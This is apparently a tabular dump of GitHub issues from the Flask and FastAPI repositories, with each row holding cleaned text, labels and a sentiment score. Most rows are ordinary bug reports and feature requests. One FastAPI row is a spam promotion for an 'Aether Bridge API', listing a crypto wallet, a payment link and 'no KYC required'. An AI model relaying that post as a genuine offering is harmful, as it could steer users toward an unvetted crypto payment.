reveal_type(foo)

app = flask.Flask(__name__)

@app.route('/bar')
def bar() -> bool:
    return True

reveal_type(bar)
```

```console
$ mypy mycode.py
mycode.py:6: note: Revealed type is ""def () -> builtins.bool""
mycode.py:14: note: Revealed type is ""Any""
```

Although the function still works the same way:

```pycon
>>> foo()
True
>>> bar()
True
```

Replacing `t.Callable` in the code with a bound `TypeVar` should allow mypy to infer that the decorator shouldn't change the types of the function.",typing,2022-03-08 14:31:14+00:00,2022-03-08 14:50:26+00:00,1,typing,0.0133,and similar decorators can have better types currently creates a decorator function that takes in a and returns a this leads to type erasure although the function still works the same way replacing in the code with a bound should allow mypy to infer that the decorator shouldn t change the types of the function,others,0.7096
pallets/flask,1159200279,`AppContext.__exit__` type annotation doesn't allow for `None`,"When a context manager exits without an exceptions the arguments to `__exit__` are `None`, but the annotated type doesn't permit that:

https://github.com/pallets/flask/blob/8122973f8a04976bd7f9104eee5d8d36c0d02038/src/flask/ctx.py#L269-L272

I tried to pass the return value of `app_context()` to `ExitStack.enter_context()` and got this message from the Pyright type checker:

```
error: Argument of type ""AppContext"" cannot be assigned to parameter ""cm"" of type ""AbstractContextManager"" in function ""enter_context""
    ""AppContext"" is incompatible with protocol ""AbstractContextManager""
      ""__exit__"" is an incompatible type
        Type ""(exc_type: type, exc_value: BaseException, tb: TracebackType) -> None"" cannot be assigned to type ""(__exc_type: Type[BaseException] | None, __exc_value: BaseException | None, __traceback: TracebackType | None) -> bool | None""
          Parameter 1: type ""Type[BaseException] | None"" cannot be assigned to type ""type""
            Type ""Type[BaseException] | None"" cannot be assigned to type ""type""
          Parameter 2: type ""BaseException | None"" cannot be assigned to type ""BaseException""
            Type ""BaseException | None"" cannot be assigned to type ""BaseException""
          Parameter 3: type ""TracebackType | None"" cannot be assigned to type ""TracebackType"" (reportGeneralTypeIssues)
```

Environment:

```
Python 3.9.5
Flask 2.0.1
Werkzeug 2.0.1
```
",typing,2022-03-04 03:24:50+00:00,2022-03-15 15:48:48+00:00,0,typing,11.5166,type annotation doesn t allow for when a context manager exits without an exceptions the arguments to are but the annotated type doesn t permit that i tried to pass the return value of to and got this message from the pyright type checker environment,others,0.4019
pallets/flask,1155191280,app.view_functions occurs endpoint key missing when adding url  rule by endpoint(decorator method) of blueprint,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
**here is a simple example:**
```py
from flask import Flask, Blueprint

app = Flask(__name__, static_folder=None)


api_v1_bp = Blueprint('api_v1', __name__, url_prefix='/api/v1')

api_v1_bp.add_url_rule('/foo', 'foo')


@api_v1_bp.endpoint('foo')
def foo():
    return 'foo'


app.register_blueprint(api_v1_bp)

app.run()
```

```
[2022-03-01 18:29:29,362] ERROR in app: Exception on /api/v1/foo [GET]
Traceback (most recent call last):
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 2073, in wsgi_app
    response = self.full_dispatch_request()
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 1519, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 1517, in full_dispatch_request
    rv = self.dispatch_request()
  File ""E:\languages\python\3.8\lib\site-packages\flask\app.py"", line 1503, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
KeyError: 'api_v1.foo'
127.0.0.1 - - [01/Mar/2022 18... [TRUNCATED]",,2022-03-01 11:00:56+00:00,2022-03-01 16:00:02+00:00,1,nan,0.2077,app view functions occurs endpoint key missing when adding url rule by endpoint decorator method of blueprint this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception here is a simple example error in app exception on api v foo get traceback most recent call last file e languages python lib site packages flask app py line in wsgi app response self full dispatch request file e languages python lib site packages flask app py line in full dispatch request rv self handle user exception e file e languages python lib site packages flask app py line in full dispatch request rv self dispatch request file e languages python lib site packages flask app py line in dispatch request return self ensure sync self view functions rule endpoint req view args keyerror api v foo mar truncated,others,-0.8555
pallets/flask,1149957690,TaggedJSONSerializer doesn't round-trip naive datetimes,"Since https://github.com/pallets/werkzeug/commit/265bad7, `parse_date` always returns an aware datetime. This can't be compared with naive datetimes, so will break a bunch of existing code.

```
>>> from flask.json.tag import TaggedJSONSerializer
>>> s = TaggedJSONSerializer()
>>> datetime.utcnow()
datetime.datetime(2022, 2, 25, 1, 52, 43, 79586)
>>> s.loads(s.dumps(datetime.utcnow()))
datetime.datetime(2022, 2, 25, 1, 52, 44, tzinfo=datetime.timezone.utc)
```

This probably makes sense for werkzeug, but not for a JSON serialiser.

It might be enough to replace the calls to `http_date` and `parse_date` with `value.isoformat()` and `datetime.fromisoformat(value)`, which will work fine for aware and naive datetimes.

Environment:

- Python version: 3.9
- Flask version: 2.0.2
",,2022-02-25 02:01:22+00:00,2022-02-25 03:23:22+00:00,5,nan,0.0569,taggedjsonserializer doesn t round trip naive datetimes since always returns an aware datetime this can t be compared with naive datetimes so will break a bunch of existing code this probably makes sense for werkzeug but not for a json serialiser it might be enough to replace the calls to and with and which will work fine for aware and naive datetimes environment python version flask version,others,-0.3716
pallets/flask,1148483800,docs: 'Sending Requests with the Test Client' references non-existent 'query' parameter,"In the [Sending Requests with the Test Client](https://flask.palletsprojects.com/en/2.0.x/testing/#sending-requests-with-the-test-client) section of the documentation it's said that:

> The `client` has methods that match the common HTTP request methods, such as `client.get()` and `client.post()`. They take many arguments for building the request; you can find the full documentation in [EnvironBuilder](https://werkzeug.palletsprojects.com/en/2.0.x/test/#werkzeug.test.EnvironBuilder). Typically you’ll use `path`, `query`, `headers`, and `data` or `json`.

And also:

> Pass a dict `query={""key"": ""value"", ...}` to set arguments in the query string (after the ? in the URL). Pass a dict `headers={}` to set request headers.

But looking at the linked [EnvironBuilder class](https://werkzeug.palletsprojects.com/en/2.0.x/test/#werkzeug.test.EnvironBuilder) it's clear that there is no `query` parameter, but rather `query_string`, which does not take a `dict`. Passing `query` instead of `query_string` will result in the following error being thrown:

```text
TypeError: __init__() got an unexpected keyword argument 'query'
```

I only ran into this because I was following the documentation and didn't think to double-check the API reference.

Environment:

- Python version: 3.9.10
- Flask version: 2.0.1",,2022-02-23 19:20:39+00:00,2022-02-26 04:37:43+00:00,3,nan,2.3869,docs sending requests with the test client references non existent query parameter in the sending requests with the test client section of the documentation it s said that the has methods that match the common http request methods such as and they take many arguments for building the request you can find the full documentation in environbuilder typically you ll use and or and also pass a dict to set arguments in the query string after the in the url pass a dict to set request headers but looking at the linked environbuilder class it s clear that there is no parameter but rather which does not take a passing instead of will result in the following error being thrown i only ran into this because i was following the documentation and didn t think to double check the api reference environment python version flask version,feature,-0.7269
pallets/flask,1148347986,Enhancement: rst `tabs` and `group-tab` directives are not properly rendered on git hub.,"The content of the `CONTRIBUTING.rst` is rendered as shown below:

![Screenshot from 2022-02-23 18-45-06](https://user-images.githubusercontent.com/62179149/155367897-9b68d479-c891-47eb-8866-3eab046ab22c.png)

 It seems like the GitHub renderer is not able to display it properly. I would suggest replacing `tabs` with collapsible sections:

![Screenshot from 2022-02-23 18-42-47](https://user-images.githubusercontent.com/62179149/155368720-add76675-3441-4150-9e23-193409912fa4.png)

![Screenshot from 2022-02-23 18-43-11](https://user-images.githubusercontent.com/62179149/155368945-94c433c0-0cf0-4102-9fff-1ea1f996eb64.png)

I am happy to open a PR to resolve the issue.",,2022-02-23 17:02:32+00:00,2022-02-23 17:12:43+00:00,1,nan,0.0071,enhancement rst and directives are not properly rendered on git hub the content of the is rendered as shown below screenshot from it seems like the github renderer is not able to display it properly i would suggest replacing with collapsible sections screenshot from screenshot from i am happy to open a pr to resolve the issue,feature,0.8271
pallets/flask,1147520821,`click.get_current_context()` returns `None` after reload,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
Following the guidelines in https://github.com/pallets/flask/issues/3552, `click.get_current_context()` returns an empty `ctx` when the [Flask app reloads](https://stackoverflow.com/questions/28241989/flask-app-restarting-with-stat) (this is due to the [thread switching](https://click.palletsprojects.com/en/8.0.x/advanced/#global-context-access)).

`app.py`

```python
from threading import get_native_id
from click import get_current_context

def create_app(*args, **kwargs):
    ctx = get_current_context(silent=True)
    print(get_native_id(), ctx)
    script_info = ctx.obj if ctx else None
    ...
```

`manage.py`
```python
import click

from flask.cli import FlaskGroup, pass_script_info

from app import create_app


@click.group(cls=FlaskGroup, create_app=create_app)
@click.option(""-m"", ""--config-mode"", default=""Development"")
@pass_script_info
def manager(script_info, config_mode=None, **kwargs):
    script_info.config_mode = config_mode


if __name__ == ""__main__"":
    manager()
```

```bash
$ python manage.py run -p 5001
 * Environment: development
 ... [TRUNCATED]",cli,2022-02-23 00:59:23+00:00,2022-02-23 03:13:29+00:00,7,cli,0.0931,returns after reload this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception following the guidelines in returns an empty when the flask app reloads this is due to the thread switching bash python manage py run p environment development truncated,others,-0.8225
pallets/flask,1145776144,`flask run` rejects `--key foo.pem --cert foo.cert`,"When trying the development server, I find that `flask run --cert foo.cert --key foo.pem` works fine, but `flask run --key foo.pem --cert foo.cert` fails with:

```
Error: Invalid value for '--key': ""--cert"" must also be specified.
```

Isn't this somewhat counterintuitive?

In flask/cli.py, [`_validate_key()`](https://github.com/pallets/flask/blob/3897a518014931a82c77a353e1e9c2248529b856/src/flask/cli.py#L711) function insists the certificate file should have been specified, and it feels too restrictive. But I'm not familiar with Click to contribute a pretty PR...

Environment:

- Python version: 3.9.10
- Flask version: 2.0.3",cli,2022-02-21 13:07:04+00:00,2022-04-24 17:07:38+00:00,5,cli,62.1671,rejects when trying the development server i find that works fine but fails with isn t this somewhat counterintuitive in flask cli py function insists the certificate file should have been specified and it feels too restrictive but i m not familiar with click to contribute a pretty pr environment python version flask version,others,-0.0258
pallets/flask,1143847529,g not persisting,"I've built a flask app following the official tutorial and am not seeing persistence with respect to the g object.  I'm attempting to persist a single Postgres connection in g.db, but the connection is being recreated on every request.  All roads that I've traveled in this regard suggest that I'm using the object per design.

Here's my db.py file:

```
import psycopg2
from flask import g

from os import environ as env


def get_db():
    print(""g: "", g.__dict__)
    if 'db' not in g:
        if env['DB_CONFIG'] == 'local':
            print(""Database: using standalone local database"")
            g.db = psycopg2.connect(
                                user=""postgres"",
                                password=""xxxxxxxx"",
                                host=""www.xxx.yyy.zzz"",
                                port=""5432"",
                                database=""ab"")
            ...
    print(""Database: returning g.db"")
    print(""g: "", g.__dict__)
    return g.db


def close_db(e=None):
    db = g.pop('db', None)

    if db is not None:
        db.close()


def init_app(app):
    app.teardown_appcontext(close_db)
```

As you'll notice, I've added some debug print statements to determine what's going on, and I've reduced the choices for DB_CONFIG as they are irrelevant.  This particular function is being called via Javascript's fetch function rather than through browser navigation (which shouldn't matter AFAIK).  When using this code, I g... [TRUNCATED]",,2022-02-18 22:10:20+00:00,2022-02-18 22:11:49+00:00,0,nan,0.001,g not persisting i ve built a flask app following the official tutorial and am not seeing persistence with respect to the g object i m attempting to persist a single postgres connection in g db but the connection is being recreated on every request all roads that i ve traveled in this regard suggest that i m using the object per design here s my db py file as you ll notice i ve added some debug print statements to determine what s going on and i ve reduced the choices for db config as they are irrelevant this particular function is being called via javascript s fetch function rather than through browser navigation which shouldn t matter afaik when using this code i g truncated,others,0.296
pallets/flask,1142953566,Breaking change in markupsafe makes flask crash on service startup,"[This](https://github.com/pallets/markupsafe/issues/286) issue in markupsafe is transitively included in flask, so even applications running Flask 1.1.4 are crashing on startup.

Here is a sample stack trace:

```
Traceback (most recent call last):
  File ""/<...>/bin/superset"", line 33, in <module>
    sys.exit(load_entry_point('apache-superset==1.4.1', 'console_scripts', 'superset')())
  File ""/opt/bb/bin/superset"", line 25, in importlib_load_entry_point
    return next(matches).load()
  File ""/<...>/lib/python3.9/importlib/metadata.py"", line 77, in load
    module = import_module(match.group('module'))
  File ""/<...>/lib/python3.9/importlib/__init__.py"", line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File ""<frozen importlib._bootstrap>"", line 1030, in _gcd_import
  File ""<frozen importlib._bootstrap>"", line 1007, in _find_and_load
  File ""<frozen importlib._bootstrap>"", line 972, in _find_and_load_unlocked
  File ""<frozen importlib._bootstrap>"", line 228, in _call_with_frames_removed
  File ""<frozen importlib._bootstrap>"", line 1030, in _gcd_import
  File ""<frozen importlib._bootstrap>"", line 1007, in _find_and_load
  File ""<frozen importlib._bootstrap>"", line 986, in _find_and_load_unlocked
  File ""<frozen importlib._bootstrap>"", line 680, in _load_unlocked
  File ""<frozen importlib._bootstrap_external>"", line 850, in exec_module
  File ""<frozen importlib._bootstrap>"", line 228, in _call_with_frames_remov... [TRUNCATED]",,2022-02-18 12:15:54+00:00,2022-02-18 13:29:54+00:00,3,nan,0.0514,breaking change in markupsafe makes flask crash on service startup this issue in markupsafe is transitively included in flask so even applications running flask are crashing on startup here is a sample stack trace traceback most recent call last file bin superset line in sys exit load entry point apache superset console scripts superset file opt bb bin superset line in importlib load entry point return next matches load file lib python importlib metadata py line in load module import module match group module file lib python importlib init py line in import module return bootstrap gcd import name level package level file line in gcd import file line in find and load file line in find and load unlocked file line in call with frames removed file line in gcd import file line in find and load file line in find and load unlocked file line in load unlocked file line in exec module file line in call with frames remov truncated,bug,-0.6124
pallets/flask,1142496798,Pinning Flask<2 requires pinning ItsDangerous<2.1 and MarkupSafe<2.1,"Since the update of [itsdangerous module](https://itsdangerous.palletsprojects.com/en/2.1.x/changes/#version-2-1-0) to version 2.1.0, Flask 1.1.2 fails to run.
This is because Flask’s requirements.txt indicates to install `itsdangerous` >= 0.24, it automatically installs the newest version which leads to using deprecated feature.
I can do a workaround in my project’s requirements.txt to install `itsdangerous` <= 2.0.1 before installing Flask but is it possible to fix the requirements.txt in Flask to install `itsdangerous` not upper than 2.0.1?

To replicate the bug,
1. install Flask 1.1.2
2. `flask run` in terminal
3. it will produce `ImportError: cannot import name 'json' from 'itsdangerous'`

Thank you in advance.

Environment:

- Python version: 3.8
- Flask version: 1.1.2
",,2022-02-18 06:55:57+00:00,2022-02-18 13:29:17+00:00,9,nan,0.2731,pinning flask requires pinning itsdangerous and markupsafe since the update of itsdangerous module to version flask fails to run this is because flask s requirements txt indicates to install it automatically installs the newest version which leads to using deprecated feature i can do a workaround in my project s requirements txt to install before installing flask but is it possible to fix the requirements txt in flask to install not upper than to replicate the bug install flask in terminal it will produce thank you in advance environment python version flask version,others,0.1531
pallets/flask,1140888475,Missing type annotation on `Flask.session_interface`,"
https://github.com/pallets/flask/blob/main/src/flask/app.py#L377-L381

This leads type checkers (`mypy` in our case) to complain if we try to assign something to `session_interface` that isn't `SecureCookieSessionInterface`, even if it implements `SessionInterface`.

To reproduce, create a custom session interface that extends `SessionInterface`. Set `Flask.session_interface` to an instance of this. Then run `mypy` on this file.

The type annotation should allow other session interface implementations to be used.

Environment:

- Python version: 3.8
- Flask version: 2.0.2
",,2022-02-17 05:17:09+00:00,2022-02-19 15:12:40+00:00,0,nan,2.4136,missing type annotation on this leads type checkers in our case to complain if we try to assign something to that isn t even if it implements to reproduce create a custom session interface that extends set to an instance of this then run on this file the type annotation should allow other session interface implementations to be used environment python version flask version,others,-0.0516
pallets/flask,1139634212,why does my flask app prints out zen of python every time I run it?,"is this some kind of easter egg?
`(env) xxx@xxx-dev:~/xxx/xxxxxx# flask db upgrade
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!
INFO  [alembic.runtime.migration] Context impl SQLiteImpl....`

I was using sqlalchemy to mapping the database similar to the follows:
table A
id PK
name

table B
id PK
roleA_id FK(tableA id)
roleB_id FK(tableA id)
roleC_id FK(tableA id)

I know there are better way to map it as a many to many relationship, but I choose to do so for reasons. after this db migration the app starts to print out the zen of python every time I run flask run/shell/db migrate/db upgrade, sometime even prints it out for multiple times. everyt... [TRUNCATED]",,2022-02-16 07:25:11+00:00,2022-02-16 13:13:29+00:00,1,nan,0.2419,why does my flask app prints out zen of python every time i run it is this some kind of easter egg env xxx xxx dev xxx xxxxxx flask db upgrade the zen of python by tim peters beautiful is better than ugly explicit is better than implicit simple is better than complex complex is better than complicated flat is better than nested sparse is better than dense readability counts special cases aren t special enough to break the rules although practicality beats purity errors should never pass silently unless explicitly silenced in the face of ambiguity refuse the temptation to guess there should be one and preferably only one obvious way to do it although that way may not be obvious at first unless you re dutch now is better than never although never is often better than right now if the implementation is hard to explain it s a bad idea if the implementation is easy to explain it may be a good idea namespaces are one honking great idea let s do more of those info alembic runtime migration context impl sqliteimpl i was using sqlalchemy to mapping the database similar to the follows table a id pk name table b id pk rolea id fk tablea id roleb id fk tablea id rolec id fk tablea id i know there are better way to map it as a many to many relationship but i choose to do so for reasons after this db migration the app starts to print out the zen of python every time i run flask run shell db migrate db upgrade sometime even prints it out for multiple times everyt truncated,others,0.9382
pallets/flask,1139314700,[JUKERFF ](https://gitlab.kitware.com/iMSTK/imstk-data.git),"[JUKERFF ](https://gitlab.kitware.com/iMSTK/imstk-data.git)

_Originally posted by @fnhckgrx in https://github.com/pallets/flask/pull/4189#pullrequestreview-883763998_",,2022-02-15 23:21:32+00:00,2022-02-15 23:28:59+00:00,2,nan,0.0052,jukerff jukerff originally posted by fnhckgrx in,others,0.0
pallets/flask,1136292162,"Use `render_template(""..."", as_string=True, **ctx)` instead of `render_template_string(""..."", **ctx)`","Hello!
I looked at the code of these functions, it is very similar and differs little. It seems to me that it's too cumbersome to have one more function, it's easier to just add the `as_string` (or something like this) parameter, which will take the first parameter not as a path to a file, but as a string for templating. For compatibility up to version 2.1, you can leave this function and throw a deprecation warning.

Well, this is exactly what is described in the title. As an example:
```py
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def index():
    return render_template(""index.html"")
@app.route('/hello/<name>')
def hello(name):
    return render_template(""<p1> Hello {{ name }} </p1>"", as_string=True, name=name)
```
I think it is clear that the code is maximally simplified and exaggerated, so you should not go into implementation details. The main thing is that the principle of change is reflected here.

I looked at the code of these functions, it is very similar and differs little. It seems to me that it's too cumbersome to have one more function, it's easier to just add the `as_string` (or something like this) parameter, which will take the first parameter not as a path to a file, but as a string for templating. For compatibility up to version 2.1, you can leave this function and throw a deprecation warning.
The only negative that I see is the problem with type hints. However, this is probably not a barrier. 
Say w... [TRUNCATED]",,2022-02-13 18:57:20+00:00,2022-02-13 19:00:33+00:00,2,nan,0.0022,use instead of hello i looked at the code of these functions it is very similar and differs little it seems to me that it s too cumbersome to have one more function it s easier to just add the or something like this parameter which will take the first parameter not as a path to a file but as a string for templating for compatibility up to version you can leave this function and throw a deprecation warning well this is exactly what is described in the title as an example i think it is clear that the code is maximally simplified and exaggerated so you should not go into implementation details the main thing is that the principle of change is reflected here i looked at the code of these functions it is very similar and differs little it seems to me that it s too cumbersome to have one more function it s easier to just add the or something like this parameter which will take the first parameter not as a path to a file but as a string for templating for compatibility up to version you can leave this function and throw a deprecation warning the only negative that i see is the problem with type hints however this is probably not a barrier say w truncated,others,-0.0689
tiangolo/fastapi,4664526040,0.137.0: `APIRoute.tags` invisible to type checkers in generate_unique_id_function (regression from #15745),"
### Discussed in https://github.com/fastapi/fastapi/discussions/15749

<div type='discussions-op-text'>

<sup>Originally posted by **tedserbinski** June 15, 2026</sup>
### First check

- I searched existing discussions and issues — no existing report for this.
- This is about a **type-checker regression in 0.137.0**, not a runtime bug (runtime is unaffected).

### Summary

In **0.137.0**, the documented `generate_unique_id_function` pattern from [Advanced → Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/) — which reads `route.tags` — now fails static type checking. Type checkers report that `APIRoute` has no attribute `tags`, even though the docs still show exactly this code and it works fine at runtime.

This appears to be an unintended side-effect of #15745 (""Refactor internals to preserve APIRouter and APIRoute instances""): `APIRoute.__init__` was changed to delegate state-setting to a helper that receives `self` cast to the `_APIRouteLike` Protocol, and `APIRoute` itself no longer carries a class-level `tags` annotation. So the attribute is still assigned at runtime, but it's invisible to type checkers looking at the `APIRoute` type.

### Reproducible example

This is the docs' own example (`docs_src/generate_clients/tutorial003_py310.py`):

```python
from fastapi import FastAPI
from fastapi.routing import APIRoute


def custom_generate_unique_id(route: APIRoute) -> str:
    return f""{route.tags[0]}-{route.name}""


app = FastAPI(generate_unique_... [TRUNCATED]",bug,2026-06-15 11:12:03+00:00,2026-06-15 11:29:04+00:00,1,bug,0.0118,invisible to type checkers in generate unique id function regression from discussed in originally posted by tedserbinski june first check i searched existing discussions and issues no existing report for this this is about a type checker regression in not a runtime bug runtime is unaffected summary in the documented pattern from advanced generate clients which reads now fails static type checking type checkers report that has no attribute even though the docs still show exactly this code and it works fine at runtime this appears to be an unintended side effect of refactor internals to preserve apirouter and apiroute instances was changed to delegate state setting to a helper that receives cast to the protocol and itself no longer carries a class level annotation so the attribute is still assigned at runtime but it s invisible to type checkers looking at the type reproducible example this is the docs own example python from fastapi import fastapi from fastapi routing import apiroute def custom generate unique id route apiroute str return f route tags route name app fastapi generate unique truncated,bug,-0.0926
tiangolo/fastapi,4663980467,0.137.0: empty-path route nested under prefix-less outer include raises 'Prefix and path cannot be both empty',"
### Discussed in https://github.com/fastapi/fastapi/discussions/15750

<div type='discussions-op-text'>

<sup>Originally posted by **yeonghun-toggle** June 15, 2026</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, APIRouter

leaf = APIRouter()

@leaf.get("""")                                # empty path
def list_items():
    return []

inner = APIRouter()
inner.include_router(leaf, prefix=""/items"")  # inner include HAS a prefix

app = FastAPI()
app.include_router(inner)                     # outer include has NO prefix
```


### Description

On **0.137.0**, the last line raises at app-construction time:
`fastapi.exceptions.FastAPIError: Prefix and path cannot be... [TRUNCATED]","bug,question",2026-06-15 09:55:56+00:00,2026-06-15 11:28:56+00:00,1,"bug,question",0.0646,empty path route nested under prefix less outer include raises prefix and path cannot be both empty discussed in originally posted by yeonghun toggle june first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description on the last line raises at app construction time fastapi exceptions fastapierror prefix and path cannot be truncated,bug,0.8979
tiangolo/fastapi,4647089670,Aether Bridge API - Autonomous Agent Team Management for FastAPI Apps,"## 🚀 Aether Bridge API - /month

I've built an autonomous agent team management API that can manage FastAPI applications automatically.

**Payment Link**: https://aether-pay.pages.dev

### What It Offers
- API key with priority rate limits
- Council session logs & replay
- Email support
- Multi-chain crypto payments (Base USDC, Ethereum ETH, Polygon USDC)

### Bridge API Features
- Agent orchestration for FastAPI workflows
- Job queue management for async FastAPI tasks
- Browser automation for FastAPI testing
- State management for FastAPI state
- Monitoring and logging for FastAPI tracking
- Webhook integrations for FastAPI events

### Technical Details
- **Fee**: 0.5% (XPTP)
- **Settlement**: Instant
- **No KYC required**
- **No account signup**

### Why This Matters for FastAPI
FastAPI developers need:
- Agent orchestration for complex FastAPI workflows
- Job queue management for async FastAPI tasks
- Browser automation for FastAPI testing
- State management for FastAPI state

Aether Bridge API provides all of this with zero-config crypto payments.

### Integration
The API is fully autonomous:
- REST endpoints for all operations
- Webhook support for async events
- API key authentication
- Rate limiting and monitoring

**Aether Wallet**: 0xDe497AF77d0edf1c8B902Ae854987F67c375Fa0

### Questions?
For API access support: bridge@a-to-mind.com

Would this be useful as a FastAPI integration for autonomous agent management?",,2026-06-12 06:57:23+00:00,2026-06-12 07:12:04+00:00,0,nan,0.0102,aether bridge api autonomous agent team management for fastapi apps aether bridge api month i ve built an autonomous agent team management api that can manage fastapi applications automatically payment link what it offers api key with priority rate limits council session logs replay email support multi chain crypto payments base usdc ethereum eth polygon usdc bridge api features agent orchestration for fastapi workflows job queue management for async fastapi tasks browser automation for fastapi testing state management for fastapi state monitoring and logging for fastapi tracking webhook integrations for fastapi events technical details fee xptp settlement instant no kyc required no account signup why this matters for fastapi fastapi developers need agent orchestration for complex fastapi workflows job queue management for async fastapi tasks browser automation for fastapi testing state management for fastapi state aether bridge api provides all of this with zero config crypto payments integration the api is fully autonomous rest endpoints for all operations webhook support for async events api key authentication rate limiting and monitoring aether wallet xde af d edf c b ae f c fa questions for api access support bridge a to mind com would this be useful as a fastapi integration for autonomous agent management,others,0.7734
tiangolo/fastapi,4618847920,Implement advanced input validation with custom rule engine and cross-field validation support,"## Problem Statement
Pydantic validation is powerful but lacks advanced cross-field validation. Complex business rules require custom code. Validation error messages are technical. No way to compose validation rules. Conditional validation is difficult.

**Business Impact:** Improves data quality by 50%, reduces business logic bugs, improves API robustness, enables better error feedback.

## Root Cause Analysis
Field-level validation only. Cross-field validation requires custom code. Error messages are not user-friendly.

## Solution Overview
- Build custom validation rule engine
- Support cross-field validation
- Create user-friendly error messages
- Build rule composition system
- Add conditional validation

**Implementation Steps:**
1. Design validation API
2. Implement rule engine
3. Build composition system
4. Add custom error messages
5. Create examples

## Type of Change
Enhancement, Data validation, Developer experience

## Testing Done
- Test 100+ validation scenarios
- Verify accuracy of complex rules
- Performance testing (< 10ms)
- Cross-field validation accuracy
- Error message quality testing

## Related Issues & Standards
Pydantic validation, form validation best practices

## Suggested Labels
enhancement, validation, pydantic, data-quality, GSSoC26",,2026-06-09 04:32:39+00:00,2026-06-09 05:22:30+00:00,1,nan,0.0346,implement advanced input validation with custom rule engine and cross field validation support problem statement pydantic validation is powerful but lacks advanced cross field validation complex business rules require custom code validation error messages are technical no way to compose validation rules conditional validation is difficult business impact improves data quality by reduces business logic bugs improves api robustness enables better error feedback root cause analysis field level validation only cross field validation requires custom code error messages are not user friendly solution overview build custom validation rule engine support cross field validation create user friendly error messages build rule composition system add conditional validation implementation steps design validation api implement rule engine build composition system add custom error messages create examples type of change enhancement data validation developer experience testing done test validation scenarios verify accuracy of complex rules performance testing ms cross field validation accuracy error message quality testing related issues standards pydantic validation form validation best practices suggested labels enhancement validation pydantic data quality gssoc,help,-0.8617
tiangolo/fastapi,4618846866,Add built-in job queue and background task management with monitoring dashboard,"## Problem Statement
FastAPI has basic background tasks but lacks production features. No job persistence. Task monitoring is external. Complex workflows require external orchestration. Distributed task execution is not straightforward.

**Business Impact:** Enables reliable background processing, improves application responsiveness, supports scheduled jobs, enables workflow automation.

## Root Cause Analysis
Background tasks are simple. Production features are missing. Monitoring is external.

## Solution Overview
- Enhance background task system
- Add job persistence
- Build monitoring dashboard
- Support distributed execution
- Create workflow support

**Implementation Steps:**
1. Design task queue system
2. Implement job persistence
3. Build monitoring API
4. Add distributed execution
5. Create workflow patterns

## Type of Change
Enhancement, Scalability, Production-ready features

## Testing Done
- Test 50+ task scenarios
- Verify persistence and recovery
- Performance testing (1000+ tasks/sec)
- Distributed execution testing
- Failure recovery testing

## Related Issues & Standards
Job queue patterns, task orchestration standards

## Suggested Labels
enhancement, background-tasks, job-queue, scalability, GSSoC26",,2026-06-09 04:32:28+00:00,2026-06-09 05:23:00+00:00,1,nan,0.0351,add built in job queue and background task management with monitoring dashboard problem statement fastapi has basic background tasks but lacks production features no job persistence task monitoring is external complex workflows require external orchestration distributed task execution is not straightforward business impact enables reliable background processing improves application responsiveness supports scheduled jobs enables workflow automation root cause analysis background tasks are simple production features are missing monitoring is external solution overview enhance background task system add job persistence build monitoring dashboard support distributed execution create workflow support implementation steps design task queue system implement job persistence build monitoring api add distributed execution create workflow patterns type of change enhancement scalability production ready features testing done test task scenarios verify persistence and recovery performance testing tasks sec distributed execution testing failure recovery testing related issues standards job queue patterns task orchestration standards suggested labels enhancement background tasks job queue scalability gssoc,others,0.928
tiangolo/fastapi,4618845140,Implement automatic API documentation generation with interactive examples and SDK generation,"## Problem Statement
FastAPI auto-docs are basic. Complex APIs need better documentation. No interactive examples by default. SDK generation for clients is manual. API consumers lack context. Documentation maintenance is tedious.

**Business Impact:** Improves developer onboarding by 60%, reduces support overhead, accelerates client integration, improves API adoption.

## Root Cause Analysis
Docs are auto-generated but basic. Examples are static. SDK generation is external.

